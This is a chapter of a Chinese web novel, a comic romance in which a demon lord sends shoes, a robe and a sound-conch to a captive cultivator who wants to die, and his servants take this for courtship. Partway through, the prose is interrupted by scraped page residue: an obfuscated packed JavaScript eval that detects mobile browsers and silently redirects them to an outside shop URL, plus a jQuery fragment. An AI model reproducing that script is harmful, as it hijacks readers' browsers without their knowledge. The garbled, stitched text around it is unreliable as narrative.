第8章
是最随意最真切的笑,像是看到了什么有趣的事。
不是冷笑,不是嘲笑,而是轻松随意、自然而然露出的笑容。
笑得魔侍当场就跪下了。他也分不清这是什么意思了。
就是有点不习惯,也有点纳闷,怎么这次魔尊还不送东西呢?
他手都差点习惯性地伸出来了。
宗凌则是微微怔住。
竟会因为这小灵修觉得有趣吗?
有多久未曾觉得这般有趣了?
舌尖传来酸涩的味感,是他最不喜欢的柠檬蜜饯。
宗凌不笑了。
果真还是想杀了她!
他将传影镜收起,抬眸间那熏香上的黑色大袍飞起,旋落在一旁的托盘上。
且自己把自己叠得很好,整整齐齐。
“给她。”
宗凌眉眼淡漠,孤身而立,嘴角挑起恶意,“叫她好好闻闻。”
“到底有什么味道。”
魔侍低头:“是。”
恋爱中的人都这么小心眼吗?一句话都要争个高低?
还是……他们在调一种很新的情?
*
牢房中,周若蕊精力被养得很好。
漂亮侍女正在给她按太阳穴,周若蕊享受得眯眼。
这次回到牢房,她的待遇直线升级。
一旦有什么渴了、饿了、痒了、困了,那漂亮侍女都会稳稳地出现,送上魔尊的关心。
关心得越发没有魔修敢对周若蕊下手,关心得周若蕊越发精神,关心得守卫毁损率涨得更快了。
周若蕊求死心切。
周若蕊战绩斐然。
周若蕊凶名远扬。
一批又一批的守卫被她聊得败退逃走。
聊得周若蕊都累了。
她打了个哈欠,找了个舒服的姿势,睡着了。
侍女正要为她盖上薄毯,就见魔侍又来了。
这次手中托盘上是一件外袍。
魔侍:“尊上给的。”
他正要传达“叫她好好闻闻”,侍女已经放下手中薄毯,自然而然地拿起外袍,披在那灵修身上。
黑袍裹着她,如同一个冷清却贴近的拥抱,更趁得她肤白胜雪,睡颜可爱。
魔侍:O.O
原来这才是魔尊的用意。
不愧是高手局调.情。
他闭嘴了。
周若蕊在睡梦中觉出了暖意,满意地蹭了蹭外袍。
周若蕊嘴角勾起,溢满笑容。
“柳叶清香铺面而来,带点松针的清新和樱花的暖香,却又一点点冬梅的寒凉。”
睡梦中,她起手就是一个前调中调后调的绝美小作文,展现了超越语文40分、五毛一条“勤工俭学”驱动下的文采,在小某书上换着账号发香水软文。
不过,这次的香水,确实还挺好闻的。
暖暖的,却又沁人心脾的清凉。
一定会很挣钱。
周若蕊深深一嗅,仿佛看到软文爆火,钞票向自己袭来,而她满脸笑容,将脸埋了进去。
*
周若蕊追钞票时,宗凌正在书房翻阅典籍。
手上碧玉扳指精致华贵,轻扣在古籍书页上,本是安然心静的时刻,可却觉脚掌指尖隐隐闷痛。
像是穿了一双不合脚的鞋。
疼得不厉害,可却觉得打扰。
“去,给她送双软鞋,给她换上。”
宗凌出声吩咐,不用说名字,魔侍已心领神会,毕竟这一晚上送不少东西了。
送一回那边换一批守卫。
他都从惊讶变成心如止水了。
宗凌却无法心如止水。
因为他用了一个晚上,翻遍典籍玉简,甚至做了一些尝试,可仍旧没有一点解咒的办法。
而那个小灵修一直在折腾。
如今,晨光熹微,窗外白鸽飞过,微风轻拂柳枝,宗凌竟觉出几分困意。
宗凌:……
他指尖轻揉太阳穴,眉间杀意隐忍:“她在做什么?”
魔侍垂首:“禀尊上,她刚刚睡着。”
虽然魔尊说过“对那灵修不关心”,但这一晚上,每隔一会儿,他都要问上一句那灵修的动向。
问完总要送点什么过去。
魔侍已经习惯了。
并将那灵修的消息标为最高优先级,比灵修界打过来还高。
没办法,谁让他们魔尊恋爱脑呢。
魔侍等待着,但这一次,却等来了一个海螺。
“去,将她叫醒,不许她睡。”
魔侍带着托盘再次返回,先让侍女为周若蕊换了鞋,想到尊上的嘱咐,看着周若蕊满脸埋在尊上的外袍里一脸幸福的模样,“……”了一息。
就很有职业素养地上前,拿根包着丝柔的木棍,把周若蕊给捅醒了。
钞票飞了。
周若蕊睁开眼:?
魔侍捧起托盘上那枚泛着金光的精致海螺,轻轻放在周若蕊的耳边。
周若蕊:“这是什么?”
因为困意,她微微皱着鼻子,模样娇憨可爱。
魔侍赶紧调整传影镜的方向,确保魔尊能看到这一幕。
“这是传声螺,另一只放在尊上的枕边,”魔侍:“尊上说了,叫你好好听听他晚上的声音。”
无论从哪种角度,这句话都有点黄暴是什么回事?
周若蕊嫌弃道:“……他是不是有病?”
她停了一瞬,立刻对着传声螺喊过去:“宗凌,你是不是有病?”
魔侍:O.O
漂亮侍女却很是淡定,这一晚她也算是见过不少风浪了,闻言露出浅浅笑容,嘴角酒窝温婉:“尊者,这传声螺现在只能单向传声。”
“至于尊上,他寿与天齐、身与地安、魔福永享,身体康健,吃得顺心,睡得安眠,是不会生病的。”
魔侍:O.O
他偷偷瞥那侍女,又漂亮又大方,还会说话。嗯……这侍女好像挺适合去魔尊身边伺候的。
周若蕊面无表情:“呵呵。”
她脸转向另一侧,想要接着睡,但被那魔侍阻止了。
“尊者,你不能睡。”
周若蕊:“为什么?”
魔侍:“尊上说了,事实胜于雄辩,君子需躬亲证道。”
周若蕊:“说人话。”
魔侍:“他去睡了,让你好好听听,他会不会打呼噜、说梦话。”
周若蕊:……
这魔尊他还记仇啊?
周若蕊瞬间转换思路:“我其实是觉得他的刀不够硬,都砍不断我的脖子。”
魔侍看向漂亮侍女。
侍女酒窝温柔:“尊上的刀很硬,但面对姑娘,心先软了。”
魔侍:……
周若蕊:“……啥?”
侍女:“姑娘还不懂尊上的心吗?”
她指尖一一指过,“这屋内装饰摆件,都是尊上同款,而是与姑娘你我不分。”
“这守卫一一换过,却不敢伤姑娘分毫,是因尊上对姑娘珍爱。”
“这锁链,是动情锁爱,想要等姑娘想通。”
“还有这外袍,这传声螺,尊上其实是想要跟你同床共枕呢。”
末了,她似有些羞赧,绣帕轻轻捂嘴:“嘻嘻。”
这声如一道惊雷从天劈下。
将周若蕊雷得外焦里嫩。
啊?
那个传说中杀人不眨眼的反派BOSS,喜欢上她了?
一见那个钟情?
不是他到底有没有反派素养,应该为女主守贞啊!
不过这倒是解释了为什么他一直不杀她,还对她小黑屋,却又送很多好东西。
霸总病发了嘛。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680315|188733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>可这样的话,她还怎么死?
周若蕊沉思一瞬,很快下了决定。
魔界太安全了,还是回灵修界去寻死吧。
忽悠魔尊将她放回去就行了。
周若蕊抬眸而笑,看向魔侍。
“你好,我想通了,我要见宗凌一面。”
说话时,她绣鞋微动,嗯……这鞋之前是磨脚尖,怎么现在有点磨脚侧了,底还有点硬似的?
不过倒也还行,鞋子不合脚,她都习惯了,小时候几乎穿百家鞋长大的,穿着穿着就合了。
可宗凌却不这么觉得。
月眠殿中,睡梦中的宗凌同样似有所扰,而且比周若蕊敏.感许多倍似的,难耐地皱起了眉。
*
宗凌是皱着眉醒来的。
他从不会睡不好,因为魇魔不敢入梦侵扰,而他睡眠很沉。
如今这般醒来,那就只有一个原因了。
“她又在做什么?”宗凌端起魔侍递上的茶盏。
一个“又”字含义无边。
宗凌是烦,是想杀她。
魔侍是:哦哦哦,懂懂懂,尊上【又】在关心。
他恭敬垂首:“禀尊上,按您的吩咐,守卫换回从前了。”
“她聊够天了,正靠着传音螺认真听尊上的声音。”
宗凌:“她可有什么不舒服?”
魔侍敏锐地察觉到了不对劲,谨慎地收回了到嘴边的“没有”,换成了更安全更甩责任的:“她并未提及。”
可她确实不舒服。
为什么不说呢?
是哪里呢?
宗凌放下茶盏,刚迈一步,又缓缓停住。
视线向下。
是鞋。
已经换了一双鞋了,还是会觉得磨脚吗?
而且这次换了边磨。
宗凌:“给她送双宽边软底的鞋,为她换上。”
顿了顿,他又开口:“让吕登也去,为她再做一双。”
“要快。”
魔侍:“是。”
他暗暗猜测,鞋代表如何调.情。
又试探着开口:“尊上,她、她想求见尊上。”
这次,他不敢美化了,几乎原话传达:“她说,她想通了,想要见尊上一面。”
宗凌冷笑道:“她有什么好见的?”
他冷眸瞥过来,天绝圣体的威压几乎让人无法喘气,“木鹰,她的话,就到地牢为止。”
魔侍跪下,额头后背满是冷汗,脸上心中却是另一种雀跃和景仰。
尊上记得他的名字!
他死而无憾了。
同时心里不禁猜测,难道尊上这么快就不爱了?
不愧是尊上,做渣男也是最渣最快的!
宗凌:“去送鞋。”
一双不合脚的鞋,他不能再忍受。
木鹰:“是。”
不,他还超爱!
不愧是尊上,动感情就是这般坚定不移!
于是,周若蕊虽然没有见到宗凌,但又换了一双新鞋。
还有匠人前来对她调研,询问她穿鞋偏好,脚重脚轻,要为她私人订制。
然后被周若蕊一句“鞋子能穿就好了,我没什么偏好不偏好的”,给气走了。
边气边落泪,明明挺年轻,却老气横秋地感叹“如今的年轻人,是过得什么苦日子,怎么如此不优雅。”
在鞋没有做好之前,周若蕊的鞋,大概是以两个时辰为一个频次换的。
还没等磨到合脚,就被换了。
一双双鞋精巧漂亮,据说上面坠的明珠就价比千金,锦缎如流云拂风般柔软精致,换下后全进了周若蕊的储物袋。
成为了她的小金库。
同时周若蕊含羞带怯,连手指都很到位地在床上画圈圈,表示:“我真的很想见他,不可以吗?”
“有些话,我想当面对他说。”